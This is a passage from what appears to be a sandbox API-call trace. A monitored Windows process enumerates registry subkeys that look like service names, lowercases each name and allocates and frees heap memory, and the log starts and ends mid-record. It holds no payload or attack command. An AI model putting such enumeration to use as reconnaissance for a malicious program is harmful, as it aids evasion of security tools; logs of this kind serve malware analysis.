0x21f2da0 [0188.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0188.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1c88, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0188.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.319] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0188.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a90, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0188.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.319] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0188.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0188.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1c88, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0188.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.320] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0188.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0188.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a90, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0188.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.320] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0188.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0188.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1c88, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0188.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.320] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0188.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0188.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0188.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.321] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0188.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0188.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.321] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0188.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0188.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0188.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.321] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0188.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0188.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0188.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.321] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0188.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0188.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a90, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0188.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.322] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.322] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.322] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.322] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0188.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0188.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0188.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.322] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.322] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.322] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.322] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0188.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0188.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0188.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.322] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.322] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.322] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.322] RegEnumKeyW (in: hKey=0x140, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0188.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0188.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0188.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.322] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.322] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.322] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.323] RegEnumKeyW (in: hKey=0x140, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0188.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0188.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0188.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.323] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.323] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.323] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.323] RegEnumKeyW (in: hKey=0x140, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0188.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1c88, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0188.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.323] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.323] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.323] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.323] RegEnumKeyW (in: hKey=0x140, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0188.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0188.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.323] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.323] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.323] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.323] RegEnumKeyW (in: hKey=0x140, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0188.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0188.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0188.324] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.324] RegEnumKeyW (in: hKey=0x140, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0188.324] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.324] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0188.324] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.324] RegEnumKeyW (in: hKey=0x140, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0188.324] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0188.324] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0188.324] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.324] RegEnumKeyW (in: hKey=0x140, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0188.324] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0188.324] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0188.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0188.324] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0188.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0188.324] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0188.324] RegEnumKeyW (in: hKey=0x140, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0188.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0188.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0188.325] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0188.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0188.325] RtlAllocateHeap (HeapHandle=0x2520000, 